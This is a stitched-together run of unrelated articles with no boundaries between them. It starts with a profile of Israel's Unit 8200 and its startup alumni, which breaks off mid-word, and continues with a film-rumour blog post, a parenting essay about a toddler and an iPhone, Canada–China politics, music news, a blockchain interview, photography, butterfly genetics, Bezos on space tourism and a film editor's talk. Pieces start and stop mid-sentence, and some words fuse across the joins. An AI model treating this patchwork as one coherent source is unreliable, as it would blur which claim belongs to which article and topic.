prospects, it puts them through rigorous interviews, tests and classes--covering everything from communications to electrical engineering to Arabic--that can take more than six months. It's essentially a boot camp for the mind. "You are put into small teams where you study, brainstorm, train, analyze, solve problems, from early in the morning to very late at night," says Arieli. "It's not a passive approach to information." The entrance interviews are conducted not by high-ranking officers but rather by 8200 soldiers in their early 20s, who seek those able enough to take over their jobs. References are then checked from each stage of these young lives. What are they looking for? Math, computer and foreign language skills are big pluses, of course, but what 8200 really seeks is potential, as measured by the ability to learn quickly, adapt to change, succeed on a team and tackle what others see as impossible. Dor Skuler admits that he was "an awful student in high school, truly an awful student," when Unit 8200 started looking at him in his junior year, but the people there saw untapped genius, and by focusing on what he could be rather than what he was, they discovered a great intelligence officer who wound up founding three startups. "Even the screening process at the [U.S. National Security Agency] largely focuses on experience," Arieli says. "But what does a 17-year-old know about intel challenges? Nothing. A high school kid is busy with movies, boys, girls, fashion, sports--that's your world--and you're not busy with terror in Syria or nuclear facilities in Iran, so experience and know-how are not relevant because they don't exist." THE CULTURE Former 8200 commander Yair Cohen remembers an assignment in the early 1980s, after he joined the unit. "You need $300 million, but you have only $3 million," his commander told him. "You cannot get ten people, you have only three people. And you need to look at the future and try to analyze what will be, before your enemy will start to purchase and to use this thing." After leaving Unit 8200, Cohen went on to establish the cyber division at Elbit Systems, one of Israel's largest publicly traded defense electronics companies. The startup mentality permeates the entire unit, not just the R&D teams who build products. Skuler, the terrible high school student, was eventually put in change of a team focused on collecting and analyzing signal traffic from Israel's enemies in order to produce intelligence from that raw data. Skuler recalls threats that he needed to counter so quickly that he'd create a small team with a few engineers "and go into room and figure it out in five days." The lack of resources means "sometimes you are constrained to a degree that is almost mind-boggling--and it's your decision which bet to take," he says. "It's like sitting in front of a roulette table, and you have one chip to put on the table." Usually, Skuler says, his young team came up with something of value. "I think about that sometimes. Why was that possible? It's totally nuts. But we didn't know any better. It didn't need to be perfect. It could be buggy, it can crash--and you'd need to manually reset systems. But we actually had a working solution in the field in days or in weeks sometimes. Truly unique, magical moments." Combining intelligence with naiveté, it turns out, can be a weapon. So can a system that gives a stunning amount of freedom and responsibility to people who in America aren't even legally allowed to drink. "Nobody tells you exactly what to do," says Skuler, now 39. "They tell you, 'This is the problem, go figure it out.' With a crazy deadline. So you're inventing, being entrepreneurial and only understanding what you were doing after the fact. But you have to do it, because you don't have any other choice to meet the mission you were given." Israelis relish arguing with one another; it creates a vibrant democracy and an outlet for blowing off steam. In the IDF's combat units, as with virtually every military organization, discipline and the chain of command trump debate. But in 8200, if soldiers feel decisions by superiors are wrong, they can ignore rank and go as high as the commander of the entire unit. In that way they feel ownership. The absence of the usual military hierarchy meant that Skuler once found himself alone in "the field" on a phone with "the most senior decision-makers in the country," because they wanted his personal view on something he'd discovered. "That's when I was 19. While my friends in the States are doing their undergraduate work, you're doing that. By far it was the period in my life where I had the most responsibility and the most impact to other people." Skuler now applies those lessons at Intuition Robotics, his third startup (not counting another two businesses he launched within Alcatel-Lucent). His latest sees him trying to build "a very complex social robot with a truly simple user experience, with the goal of improving people's lives." The interdisciplinary project involves hardware and software, machine learning and computer vision, psychology and design. And he's doing it with a core team of eight people. THE MOTIVATION After Kira Radinsky did her initial months-long military training with 8200, she was moved to an even more classified group within the operation, Unit 81, which focuses on providing newly invented technology (typically integrated hardware-software products) to combat soldiers. It encompasses, as best we can guess, about a fifth of Unit 8200's 5,000 soldiers. While you can find 8200 listed on the LinkedIn profiles of its alumni, Unit 81 is rarely mentioned publicly. "The unit is like a workshop, like an intelligence-toy factory," says Melman, the national security journalist and co-author of Spies Against Armageddon: Inside Israel's Secret Wars. "They produce machines. If you need something, you describe to them what you need, and they do it for you. If you want to produce mines that will be disguised as rocks in the field, then that's what they will do." Radinsky recalls working with peers who are "just insanely amazing--people just like me who started studying in universities at 15. People who did three degrees in parallel sometimes." But at college, students have no responsibilities to anyone but themselves. In Israel, lives hinge on 8200 and 81 solutions. And that's the kind of motivation tuition money can't buy. "The more people try to accomplish, the more there is a feeling of fighting together like a family," recalls Radinsky, who spent 2004-07 in Unit 81. "Even more than that, we don't have a choice--it has to be solved. We are given a problem that will either give or take life. And the moment you understand you don't have a choice, every action you do has such implications. You just do it by the adrenaline." "It's a hyper-stressed, hyper-worked technical environment," Skuler says, "where you have to make real choices--always under the gun to make decisions in time to be meaningful to somebody." Radinsky, 29, remembers 24-to-48-hour shifts during "special operations"--when she and her comrades would take turns sleeping in the office--or while doing their tech work "in the field." She remembers once watching a live video feed, waiting to find out whether something they had built would work or not. When it became clear that it would, the group burst into cheers--and headed to a pub. After her service, Radinsky took her life-and-death expertise into the private sector. At Microsoft she developed algorithms that used historical data that enabled her to predict the first cholera outbreak in 130 years (in Cuba). She's now cofounded a company, SalesPredict, which provides predictive sales-retention analysis--and is staffed by 8200 alums, who feed off adrenaline and operate as a "family." She remembers how, in her military days, her group "took joint blame in missions that failed without finger-pointing--because if we win, we win together, and if we lose, we all lose. It's us against the world." "I found that motivating people in the corporate world is not much different," Skuler adds. "What you're after is for them to have a sense of ownership." SalesPredict operates the same way. "Either you win or you are dead," she says. And while she knows that the stake here is bankruptcy versus lives lost, that difference motivates her, too. "It doesn't look as scary to take a risk," she says, "because I took much bigger risks before." THE CHURN It stands to reason that the last person to leave the helm of Unit 8200 has already created arguably the world's top cybersecurity syndicate. Nadav Zafrir, the 46-year-old CEO and cofounder of Team8, runs a private foundry that creates startups from scratch to solve some of the toughest problems in cybersecurity. He served as 8200's commander for five years, leaving in 2013 after founding the IDF's "Cyber Command," an elite group of geeks that oversees the military's online warfare. Along with his two cofounders, also high-level 8200 alums, Zafrir raised $40 million in seed money and an all-star lineup of research partners and investors that includes Alcatel-Lucent, Accenture, AT&T, Cisco, Nokia and Eric Schmidt's Innovation Endeavors. Zafrir is an impregnable firewall when it comes to discussing anything specific he did in 8200. But he will talk about how the unit's structure is perfectly suited for today's global economy. One thing he touts: 8200's churn. With an average length of service in the neighborhood of four years, this very advanced technical operation has an annual turnover of 25%--a frightening number for most major corporations but a tremendous asset, Zafrir argues, in the fast-moving world of tech. "Every year, Unit 8200 gets this influx of young, smart, motivated and passionate men and women looking at problems from an entirely new perspective," he says. This often allowed Zafrir to challenge new teams to tackle problems their predecessors had deemed impossible. "We don't tell them that other people have tried to solve the same problem many times and failed," he concedes. The high turnover forces 8200 teams to exercise discipline in designing products and systems. Since many of the developers won't be around to see their inventions become operational, they have to be built in ways that allow fresh recruits to work with them. And the churn goes both ways. Like all other IDF veterans, 8200 alums must serve as reserves for up to three weeks a year until they reach their early 40s. So for decades more, 8200 veterans get a peek into the latest technology developed by their younger successors--Israel's cybersecurity as the ultimate in continuing education. Occasionally, 8200 will lure its best and brightest to stay full-time by turning itself into an incubator. Barak Perelman, a former 8200 captain who served in the unit for six years, until 2013, had dreamed of building a business from scratch. His IDF bosses had an idea to keep him in the unit: If he could figure out an innovative project that helped 8200, they'd invest in it with manpower. He did exactly that and eventually left to create Indegy, which provides cybersecurity for critical infrastructures such as chemical plants and was born with an assist from 8200. "A win-win," says Perelman, who adds that this incubation model has been employed several times that he knows of by 8200. It's also a win for the Israeli economy, in terms of jobs and wealth created and in the message it sends to the country's top tech talent. "They know the guy who sold his company for $300 million--they didn't just read it in FORBES," Zafrir says. "They think, 'I know him--I can do $400 million.' " THE NETWORK Elad Benjamin's father, Menashe, spent a quarter-century in Unit 8200, where he commanded a subdivision, and then launched a company that created medical imaging software. "Had he not come away with what he came away with from 8200, I think it would have been difficult for him to start his company," says Elad, 41, who feels the same way about his own startup, also in the medical field. "So the thread kind of runs along." But it goes much deeper than that. When Menashe's company was eventually sold to Kodak, it had 55 employees--one-third of whom were 8200 alums. Similarly, about half of Elad's employees today are from 8200. His closest friends are as well. One can't underestimate the importance of the unit's alumni network in fueling Startup Nation. "The way you do it is you get one of your buddies from the 8200 tech unit who is about to get released, and he has all the release dates of all the other folks from that tech unit--and we'd just pick 'em off one by one," Benjamin says. "We give them a phone call and say, 'Your ex-team-leader is now here with us. Why don't you come in and take a look?'" Recruiting this way eliminates many steps. "You know you are getting a combination of confidence level and skill level with them," he says. "These are 24-year-olds who've just spent the last five, six years dealing with live, real-world, mission-critical systems and products and scenarios. What they've done is real. It's not theoretical." And it will pay entrepreneurial dividends for decades to come. THE FUTURE: Can 8200 launch a tech boom for Arabs, too? There's a downside to 8200's otherworldly success. "The military is not the ideal way to produce people who are innovative in tech. This is not a prescription for the rest of the world, and it's not something we want for ourselves," says Saul Singer, whose 2009 book, Start-Up Nation, helped publicize the 8200 phenomenon. "We want this to end. So the question is, how do you do this without the military? Why can't our education systems do this? Education has to be reinvented." One hopeful sign: Israeli Arabs, who are not required to serve in the military (but can volunteer) and thus can't tap into the 8200 alumni network, are beginning to benefit from it. The result offers some small hope of reduced tension between Jews and Arabs in Israel, not to mention the conflict with the Palestinians. While they make up about 20% of Israel's citizenry, less than 2% of the country's tech workers are Arabs, and there is not a single Arab-led company on the Tel Aviv stock exchange. Part of that is because they don't get the tech-based military training, and part is cultural: Arab parents often push kids toward safe and secure jobs rather than risk failure with startups. But Israeli-Arab entrepreneurs like Jafar Sabbah may be able to turn that around. Even one major Arab success story would indicate to other Arabs that it's possible for them, too. Sabbah, who studied computer science at the Technion and earned a law degree from Hebrew University, is a good bet to pull it off. He's now started three companies. While working with three Israeli-Jewish entrepreneurs in 2000 on his first startup, an Arab Internet portal called Triple Vision, Sabbah noticed that one of them "always wrote the numbers '8200' next to his name on business plans." "I finally asked him why he does this." His colleague laughed, "and told me the story that Unit 8200 is a big deal in high-tech." Sabb
middle of filming and that movie is coming out this year! So the fact that they finished up so early for a movie coming out in 2016 was pretty weird. We also found out today that Lionsgate quietly moved one of their films off the supposed date of Batman v Superman part 1. We also heard rumours about the first Batman v Superman trailer coming out next month, which we all thought was pretty early considering the film is coming out in March next year, but if we are getting a movie this year then it would make sense. And for all those complaining that they had wayyyy too many characters to properly introduce and develop in the one film, this rumour about there being 2 parts of Batman v Superman may help them sleep better tonight. But all together this is most likely fake. The fan in me wants this to be true of course because it means that I get to see Bats and Supes this year, but you have to think about this logically. Warner Bros looks incredibly messy and disorganised if they go around saying, yeah our movie is going to come out in the Summer of 2015! Jokes it’s coming out in May 2016! Jokes it’s coming out in March 2016! Jokes we got another one coming out in October 2015! If this is true, it would have been a very well kept secret, and for it to come out because some random posted an image on Imgur doesn’t really make sense. It’s like when a person claims to have seen an UFO and they take the most blurry picture of it possible. Like hey random person who posted this, I know your Iphone camera can do better than that! If Warner Bros really had planned for this to be a surprise 2-parter, we would have heard rumours about this from the trades or blog sites like Latino Review, I don’t think we would be hearing about this first from Imgur. Anyways we should all probably expect this to be completely fake, just like most of the other rumours that come out about this movie. But it would have been pretty damn awesome if we were getting a Batman v Superman movie this year! AdvertisementsAround my son’s first birthday, I started holding my iPhone up to his ear when my wife called and saying, “It’s your mama, Luka. It’s your mama.” Our boy often made cooing sounds in response to her voice. And when I snapped photos with the phone, I showed them to Luka in the moment. He responded with giddy joy. We quickly fell into a ritual in which I played a slide show of the photos and video in the phone as I put him to bed. Along with Luka, his mother appeared most often in the photos. Usually, by the second run-through, he would be asleep. Once in a while, when I nodded off first, I woke up to discover Luka tapping the screen to replay the video. And then one day, about two months later, my iPhone rang. My wife’s name appeared on the screen. Before I responded, Luka called out, “Mama!” I was so surprised—and proud. Evidence of their special bond, right? Soon after, Luka blurted out “Mama” again, while we were all in the living room. But he wasn’t facing his mother. He was facing the phone. It became clear: Every time Luka spotted my iPhone, he called “Mama!” Could he really be mistaking an iPhone for his mom? Rich, a tech savvy friend in Philadelphia asked, via an online chat, whether our toddler might believe that his mother is actually inside the phone. Luka has heard her voice emanating from the device and he has seen her reproduced on the screen. Worse, I had spent two months pointing at the phone and saying: “There’s Luka and his mama. … There’s Mama and Luka.” So Luka knows that his mother is in there. Though she isn’t the only thing; she’s one of the phone’s many capabilities. In other words, Mama is just another cool iPhone app. Not long after, while we were blowing bubbles in our living room, a friend named Mathias pulled out his identical white iPhone to capture the moment. Luka fixed his gaze on Mathias’ iPhone: “Mama.” Mathias patiently explained that Luka’s mother was right behind him. But Luka was certain. “Mama!” he called to the phone. From then on, any iPhone would do. Luka would spot her on the table: “Mama!” He would climb on furniture and reach anxiously for her: “Mama!” He spied her on the bookcase: “Mama!” He didn’t just want to play with “Mama”; he needed his iMama. Meanwhile, Luka’s mother lost her natural maternal title altogether. She became nameless; Luka summoned her with a mere gesture of his hands or a random squeak. Eventually, he gave her a peripheral title: “Mammon,” a sort of extension of his iMama. The only time that Luka directed “Mama” at his mother was when she used my phone. My wife insisted that this didn’t bother her. But since we were in Paris, she did ask a French psychologist what was going on. The psychologue explained to her that “Mama,” at Luka’s stage of language development, is actually a mot-valise, which translates as a “suitcase word.” So “Mama”—or offshoot words like “Mammon”—can refer to an iPhone or a person, but it can also refer to actions, like feeding or lifting Luka out of the crib before sunrise. It can be a verb and a noun, meaning that it can be a mother, all things motherly, or even the action of mothering. And, apparently, it can be those things on an iPhone. I got in touch with Dr. Richard Colman, a psychologist in Portland, Ore., who I have known since my own childhood at the dawn of the home computer era, to ask him how Luka might interpret his mother’s voice coming out of any phone and especially how he understood the video and photos of her on a smartphone. In an e-mail, Colman explained that Luka’s developing brain cannot make sense of the meaning of his mother’s disembodied picture, video, or voice. “When Luka says ‘mama’ in reference to the iPhones, he is basically saying ‘I can see mama,’ or ‘I can hear mama,’ or ‘that’s the device that I see and hear mama on.’ Or ‘I want to see a picture of mama,’ ” Dr. Colman wrote. “He’s referencing the experience he has had with it, and not just her.” In decades past, I supposed kids might have been confused by old landline phones, cameras, and even 8mm family film or video. But the effect has multiplied many times as these have all been combined into a single, instantaneously accessible object. In the dark analog ages of technology, if you wanted to show your child a photo, you had to take the pictures, drop the roll off for developing, wait, then sit him down with them. By the time the toddler saw the picture, the experience captured in it might feel like the distant past, if he remembered it at all. Now, by contrast, Luka goes down a slide, I film it, we watch, and then he goes down the slide again. The recording of his memories is intimately intertwined with the experiences that become memories, almost from the start of his life. My 3-year-old nephew in Seattle offers a window into my boy’s future. When I sent a video of Luka to my brother, he immediately video-called us on the computer with his son on his lap. My nephew wanted to see us right away; he gets frustrated watching videos of family on the computer because they don’t interact with him. Forget videos; Skype is his “normal.” The results of our own accidental iMama experiment have made be more sparing in my use of the phone. I’ve stopped narrating the slide shows and videos. When Luka’s mother calls, I don’t put the phone up to his ear. I store the phone out of sight. I figured the phone’s mama-effect would quickly fade without reinforcement. But three months later, the only change is a loss of brand fidelity. When Luka wobbles down a cobblestone street and he sees anyone speaking on a flashy smartphone, he stretches his arms out to them: “Mama!” Well, I suppose my son must really love his mama if he sees her everywhere. Like Slate on Facebook. Follow us on Twitter.Canadian Prime Minister Stephen Harper has announced that he will visit China next month, in a further sign that despite a slow start, his government is increasingly interested in the Middle Kingdom. The visit will be his second since he took office in 2006, the first coming in December 2009 when he was chided by Premier Wen Jiabao for waiting so long to visit. Harper’s minority Conservative government had been slow to warm to China, putting concerns over human rights before trade and economic development. But all that is changing, driven in large part by China’s insatiable thirst for access to resources – and some hiccups in Canada’s economic relations with the United States. Over the past several years, Chinese resource companies have moved aggressively to take stakes in Canada’s oil sands play; in 2010 Sinopec purchased a 9 percent stake in Syncrude Canada, the biggest oil sands project, for $4.65 billion, while rival CNOOC recently closed a $2.1 billion deal to acquire heavy oil producer Opti Canada Ltd. It has also recently been revealed that Sinopec is amongst a group of investors providing early-stage funding for the $5.5 billion Northern Gateway pipeline which, if ever built, will take Alberta oil sands bitumen across northern British Columbia to the west coast for shipment to Asia. China’s appetite for resources isn’t unique to Canada, of course, but an interesting series of events in the United States has strengthened China’s hand, and led Harper to look more favorably on China and Chinese investments in the resource area. Back in 2004, under the previous Liberal government, MinMetals made an aborted bid for the Canadian mining giant, Noranda. The deal wasn’t completed reportedly owing to other business dealings that Noranda undertook. But the threatened takeover aroused much controversy and soul-searching in Canada regarding the wisdom of letting a state-owned Chinese corporation take such a large role in a Canadian resources sector. China got the distinct impression that its interest wasn’t welcome. Yet those considerations seem secondary now that the Obama administration has announced that it will reject the application by Trans-Canada Pipeline to extend the Keystone XL from Alberta through sensitive ecological areas in Nebraska to Texas (although it has said the company can reapply, and Trans-Canada has confirmed that it will do so using a new route). The completion of this pipeline would help lock in the U.S. market for Alberta heavy oil, but opposition from environmentalists in the United States has forced the Obama administration to take the decision to disallow the application. Obama would have preferred to delay any decision until after this year’s presidential election, hoping to offend neither environmentalists nor those who support gaining greater access to Canadian oil as a way of weaning the U.S. off reliance on other less reliable foreign suppliers. However, it was forced to issue a ruling given a February deadline imposed by Republicans through a rider on an unrelated piece of legislation. The original Obama decision to delay the Keystone review, delivered at the APEC meeting in Honolulu at the same time as Canada was clamoring to be allowed to join the Trans-Pacific Partnership (TPP) trade negotiations, led Harper to announce publicly that Canada needed to seek out other markets if the Americans don’t want Canadian oil, and the decision on January 18 to reject the application further strengthened his determination to diversify Canada's markets. Thus, China’s ambitions nicely dovetail with Canada’s need to introduce a third party into its dealings with the Obama administration. All this comes at a time when the Harper government is finally rediscovering Canada’s Asia-Pacific dimension. The decision to publicly throw Canada’s hat into the TPP ring is one concrete demonstration of this belated initiative. The rebuilding of Canada-China ties is another. Canada used to enjoy “privileged” relations with China going back to the 1970s, but that legacy was squandered. Still, bilateral trade is relatively strong and growing (although China enjoys a 3:1 trade surplus with Canada). In addition, an investment agreement with China is being finalized, ostensibly to promote Canadian investment in China, although the real effect will be to accelerate Chinese investment in Canada’s oil, gas and mining sectors. Harper’s visit to Beijing will be one of the last to be hosted by the “old guard” given impending leadership changes this year, but clearly his “China card” needed to be played quickly, so a February visit has now been confirmed. Doing the next round of their minuet clearly suits both parties right now. Let the dance begin. Hugh L. Stephens is a former senior official in the Canadian Department of Foreign Affairs and International Trade. He is currently Principal of Trans-Pacific Connections/TPC Consulting, based in Vancouver, BC, Canada (www.tpconnections.com).All’s been quiet on the new music front for Guy-Manuel de Homem-Christo and Thomas Bangalter since the release of the highly anticipated and critically acclaimed Random Access Memories back in 2013. Thankfully, however, that may be changing sooner rather than later: Daft Punk is apparently hard at work on new music alongside The Weeknd. As Your EDM points out, Republic Records Executive VP and head of urban A&R, Wendy Goldstein, confirmed the rumors in a “hitmakers roundtable” hosted by Billboard last month. Said Goldstein when asked who she would work with if she could work with any artist or songwriter: Actually, we have a session coming up in two days with The Weeknd and Daft Punk. I’m a massive Daft Punk fan, and this is the first time that I’ve actually been involved with an artist who’s going to go and work with them. And, as if that weren’t enough, The Weeknd himself posted this on Instagram a couple of weeks back: A photo posted by ⚡️✝⚡️ STARBOY ⚡️✝⚡️ (@abelxo) on Aug 7, 2016 at 8:58pm PDT Stay tuned to see what exactly the trio has cooked up.China has offered South Sudan $8bn in development funds for road, hydropower, infrastructure and agriculture projects, South Sudan's information minister has said. The loan came after Salva Kiir, the country's president, visited Beijing to secure support from China, which has major oil interests in both South Sudan and its northern neighbour Sudan. A long-brewing conflict between Sudan and South Sudan over oil export fees, border demarcation and citizenship has halted nearly all oil production in the two countries, who sit atop one of Africa's most significant oil resources. South Sudan depends on oil for nearly 98 per cent of its state revenue and the shutdown has puts its economy under pressure. "China has offered financial funding to the value of $8bn for major development projects," Information Minister Barnaba Benjamin said. The funds will be provided over the next two years and the projects will be conducted by Chinese companies, Benjamin said. China is already the biggest investor in oilfields in South Sudan, through state-owned Chinese oil companies China National Petroleum and Sinopec. The Asian economic powerhouse has had to play a delicate balancing act with the two countries, since Beijing is also one of Sudanese President Omar Hassan al-Bashir's major supporters. When landlocked South Sudan seceded from Sudan last year, it took three-quarters of the region's oil production, while the pipelines to export the oil are mostly in Sudan. South Sudan is considering building two alternative pipelines, one to a port in Kenya and another through Ethiopia and Djibouti.Can bitcoin’s cryptographic technology help save the environment? If you’ve heard of bitcoins, it may have been in the context of people using the digital currency to pay off ransom demands for the contents of their hacked computers or buy drugs on the dark web. But the underlying cryptographic technology, a growing chain of time-stamped records or “blocks” that is shared between many computers, forming a “blockchain,” could also be used to help save the environment, according to a commentary published today in Nature by Guillaume Chapron, an ecologist at the Swedish University of Agricultural Sciences in Riddarhyttan. Science spoke with him about the future of money, the government, and trust. This interview has been edited for brevity and clarity. Q: What is a blockchain? A: The blockchain—by which I mean the technology underlying all blockchains—is a protocol to build an immutable ledger, a database of transactions. You could say it’s a kind of decentralized supercomputer that creates trust. Q: How can it help the environment? A: Environmental problems emerge because we lack trust. The environmental crisis grows in a fertile ground, which is the multiplication of intermediaries. To take an example, if you buy a fish at the supermarket, the supply chain is very long. The supermarket might not even know where it came from. And so there are multiple opportunities for environmentally unsustainable goods to enter the supply chain. A blockchain-based supply chain would mean that when you buy a fish, you scan a QR code [like a bar code] with your smartphone, and you see every step. And you know that it cannot be falsified. The blockchain can also change how we treat ownership. In many developing countries, land rights are not properly defined and a government or a company could claim a land that is owned by a local community. So if we were to put a land registry on the blockchain, it would be immutable. We could not falsify that land registry. The blockchain can also influence policymaking. Blockchain voting is a very cheap and secure way of organizing elections. Now, if you want to organize an election on how to manage a natural resource, whether it’s a forest or fishery, you need to plan the infrastructure, you need the ballot boxes, you need to tell people to go out and vote that day. That takes a lot of money, a lot of time. And in the end maybe people may not trust the results. With a blockchain, you could vote with a smartphone and your cryptographic identity and achieve strong security. The fourth way is by changing incentives. A blockchain can ensure that an event will happen. That sounds a bit strange, but if you put a contract on the blockchain, you can include business logic as computer code. When a condition is met, the contract will be automatically executed. For example, we could have satellites remotely monitoring biodiversity, and if we reach a certain amount of biodiversity in an area we could reward the local community with immediate and direct payment. You could say, “How are you going to pay communities if they don’t have bank accounts, which is the case for about 2 billion people on the planet?” Then comes the blockchain again. They can simply create a bitcoin wallet as soon as they have access to the internet. Q: Are there downsides to the blockchain? A: There are several downsides. The first one is that the blockchain is still slow. It handles seven transactions per second, compared to 2000 for the Visa network. And then the big irony is that the blockchain is a giant sucker of energy, consuming almost twice that of the whole company Google. What’s needed is to develop a more energy-efficient algorithm. Another disadvantage is, if you have a bitcoin wallet and you lose your private key, your digital signature, then your bitcoins are lost forever. What we need is to hide the cryptographic complexity in smartphone apps. Q: Are a lot of ecologists interested in the blockchain approach? A: I’m not aware of any other academic papers that link the blockchain to how it can help the environment. We need more development. We have FinTech, which is using new computer technology to help the financial industry, but I am proposing the term SusTech, which is using new technology like the blockchain to help sustainability. And the other that has not been much mentioned before is cryptogovernance. We have cryptocurrency, like bitcoin. What I propose is to explore governance that relies on cryptography, through elections and contracts. When people understand more and more what the blockchain will allow, they will have more and more new ideas that we can’t imagine today. My paper is intended to stimulate thinking.As a photographic chronicler of New York Citynot to mention America at largeLewis Hine falls somewhere between Jacob Riis and Walker Evans. Chronologically, to be sure, but also because of his street-side portraits, seemingly un-posed documentary style, and desire to use his images to fight for social justice. Among other subjects, Hine shot immigrants arriving at Ellis Island, the cramped masses stuffed into Lower East Side tenements, unfit labor conditions, newsies, and other child workersbut his photos of the Empire State Building's construction more than 80 years ago are perhaps the most compelling for us architecture nerds. Men hang suspended on wires, perched on beams, and clutching ropes, far above the metropolis whose landscape they were revolutionizing. (At 1,250 feet, the ESB was, after all, the tallest building in the world from its opening in 1931 till 1970.) Hines called these ironworkers his "sky boys," and found them endlessly fascinating. Two former exhibitions at the International Center of Photography offered a comprehensive picture of this artist-slash-reformer, gathering under one roof over 150 works that include a handful of his iconic ESB shots. "He had a romantic belief in the possibilities of America, epitomized by his heroic images of construction workers near the top of the nearly completed Empire State Building," writes Times critic Ken Johnson. "The soulful optimism he sustained and projected from first to last may not convert the coolly cynical viewer, but it's something to admire." · Huddled Masses, Studiously Eyed: Lewis Hine's Photographs, in Two Shows at I.C.P. [NYT] · The "Sky Boys" [NYT] · Sepia Tones archive [Curbed]News in Science Promiscuous butterflies speed up evolution Hybrid butterflies Different species of butterflies speed up the evolution of biodiversity by interbreeding so they can share genes for protective wing patterns, say researchers. The international consortium report their findings today in the journal Nature. "It would be a lot faster than waiting around for a mutation," says team member Evolutionary geneticist, Dr Durrell Kapan of the California Academy of Science. Scientists study butterflies to get insights into ecology and evolution because the insects have fast generation times and very colourful and conspicuous variation in form and function. Their brightly coloured wing patterns are visual stop signs that warn predators to stay clear because the butterflies are toxic. In the late 1800s, German biologist Fritz Müller, discovered the wing patterns of a particular species of butterfly in the Amazon could change according to its geographic location. Not only that, but he found other species of that genus had the exact same protective wing pattern when it was in the same location. Kapan and colleagues investigated the genetic basis of this mimicry. Genome study The central star of their research was the Postman Butterfly (Heliconius melpomene), which is from Central and South America and has many different races, which inhabit different locations and have their own distinct wing patterns. The researchers compared the genome of different races of H. melpomene and various species that mimicked its wing pattern. They found species distantly related to H. melpomene had independently evolved to produce the same protective wing pattern, in a case of 'convergent evolution'. But other mimicking species had actually obtained the genes for their protective wing pattern by mating with H. melpomene - something they were able to do because they were closely related. Hybrids produced as a result of breeding between species normally results in less healthy offspring, but when it results in the transfer of beneficial traits it can bring an evolutionary advantage. "The successful hybrids were the ones that looked like Heliconius melpomene," says Kapan. This phenomenon is referred to as "adaptive introgression", says Kapan. He says this process could lead to the spread of protective wing patterns between species within several generations rather than over thousands of years - the time it would take for mutations to arise and be acted on by natural selection. "Evolution can occur much more rapidly if species share genes which are adaptive," he says. 'Very exciting' research Australian geneticist Dr Siu Fai Lee of the University of Melbourne who has also researched Amazonian butterfly genetics describes the research as "very exciting". He says sharing genes, also known as 'horizontal gene transfer', is common between genetically distinct microbes but there hasn't been enough research to see how widespread it is in animals. Sharing genes says Lee is a convenient solution to adaptation. "If you are in danger and you need a genetic solution it's best to steal genes from your cousin rather than waiting for the slow process of genetic mutation," he says. Lee says zoos often hybridise genetically distinct animals in the hope of introducing genes that will make captive animals more healthy. But, he says introgression can be more effectively for conservation once beneficial genes are identified.Jeff Bezos, the founder of Amazon and Blue Origin, wants to colonize the moon. Ted S. Warren/AP; NASA's Scientific Visualization Studio; Business Insider Blue Origin owner (and Amazon CEO) Jeff Bezos has a message for wannabe space tourists: Hold it until you land! Speaking to a crowd at a conference in Colorado Springs, Bezos said that the trip on his company's New Shepard tourist spacecraft will be so quick that urinating and defecating won't be an issue, according to Space.com. "Go to the bathroom in advance," Bezos said, in a quote highlighted by Gizmodo. "The whole thing, from boarding until you're back on the ground, is probably 40 or 41 minutes. So you're going to be fine. You could dehydrate ever so slightly if you have a weak bladder." Blue Origin's New Shepard performs a landing test. Blue Origin While 41 minutes doesn't seem like too long to hold it — especially with a tech billionaire warning you to use the facilities ahead of time like an earnest dad on I-95 — space travel comes with some stresses that can make it difficult to keep bodily functions under control. Astronauts who make the trip to space often relieve themselves into diapers due to the lack of bathroom access at many stages of the experience. To address this problem, NASA once launched the Space Poop Challenge, which awarded $15,000 to a man who figured out a clever way to build a suction-based bathroom device into a spacesuit. Astronauts also tend to vomit, another issue Bezos is convinced won't be an issue for his tourists. Interested as he is in the challenge of sending wealthy joyriders beyond the atmosphere, Bezos seems happy to resort to the tried-and-true, low-tech "Wait till the next rest stop!" method. Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.Dylan Tichenor, Oscar-nominated editor of 'There Will Be Blood,' 'Magnolia,' 'Brokeback Mountain,' and more, breaks down clips from his movies. During a wide-ranging discussion at Saturday's Sight, Sound & Story panel in New York, Academy Award-nominated editor Dylan Tichenor, ACE revealed to moderator Bobbie O'Steen that he first began to comprehend film editing while watching classic films like Nosferatu with his father. It was during these formative viewing experiences—including holding a piece of film from Orson Welles' The Magnificent Ambersons up to the light—that Tichenor realized movies were composed of different shots. "If I saw a shot change, I would think, 'Oh, yeah, that's the line where they went to the different piece of film," he remembered thinking in his youth. "You set up a rhythm...and then you need to break that rhythm, because that's what gets people's attention." Tichenor's first break came when he was taken on as an apprentice by Geraldine Peroni, Robert Altman's long-time editor. They worked together for five years. (Sadly, years later, Tichenor would take over cutting on Brokeback Mountain after the Oscar-nominated Peroni died, in 2004.) In those days of cutting on film, Tichenor learned how to operate a KEM flatbed editing machine. His duties included syncing and projecting dailies as well as working with the 8-track sound—"That was very rare, even in those days," he said—and 1/2'' reel-to-reel tape that Altman used. Tichenor recalled how Peroni let him take a crack at a troublesome scene in Altman's 1992 film, The Player. "The apprentice system is extremely important, even if we don't have that position anymore," said Tichenor of honing his expertise under Peroni. 'The Player' (1992), dir. Robert Altman Credit: Fine Line Features After seeing a screening of P.T. Anderson's first feature, then entitled Sydney (and later released as Hard Eight in 1996), Tichenor met the director at a party, which led to a phone call a few weeks later. Anderson said that the studio had "taken the movie away from him...cut the negative, changed the title, and changed the music," but that, after speaking with Gilles Jacob (then Artistic Director of the Cannes Film Festival), Anderson had managed to get his cut accepted. The problem was, he only had six weeks to turn around the cut. Tichenor came on board as post-production supervisor for this process, which led to his first film with Anderson, 1997's Boogie Nights. Boogie Nights (1997) and Magnolia (2000) Tichenor said that one of the challenges in editing Boogie Nights was how to integrate long takes with coverage as well as figure out the answer to the question, "Whose story are we telling?" This would become even more of an issue on their next collaboration, the operatic Magnolia, where, in the opening sequence, it was necessary to introduce all of the different characters and their connections, as well as establish rhythm and theme. While some of the shots in Magnolia were written into the script, others were shot five or six different ways and then altered in the editing room. Tichenor said that P.T. Anderson uses Microsoft Word to write his scripts, doesn't really adhere to traditional format, and does "all the things you're told never to do" as far as writing camera directions into his scripts. Of course, the editor noted that "Anderson can get away with it." During post, Tichenor and P.T. Anderson went back and forth over the film's 188-minute runtime. Whenever Tichenor asked if there was anything Anderson would consider cutting from the film, Anderson responded, "'Like what, Dylan? What would you cut?'" Tichenor then related that "about two years later, I get a text from Paul saying, 'Magnolia's playing on TV. It's too long. Great, thanks a lot, Dylan.'" "I get a text from Paul Thomas Anderson saying, 'Magnolia's playing on TV. It's too long. Thanks a lot, Dylan.'" (Fun fact: According to Tichenor, the voice of the 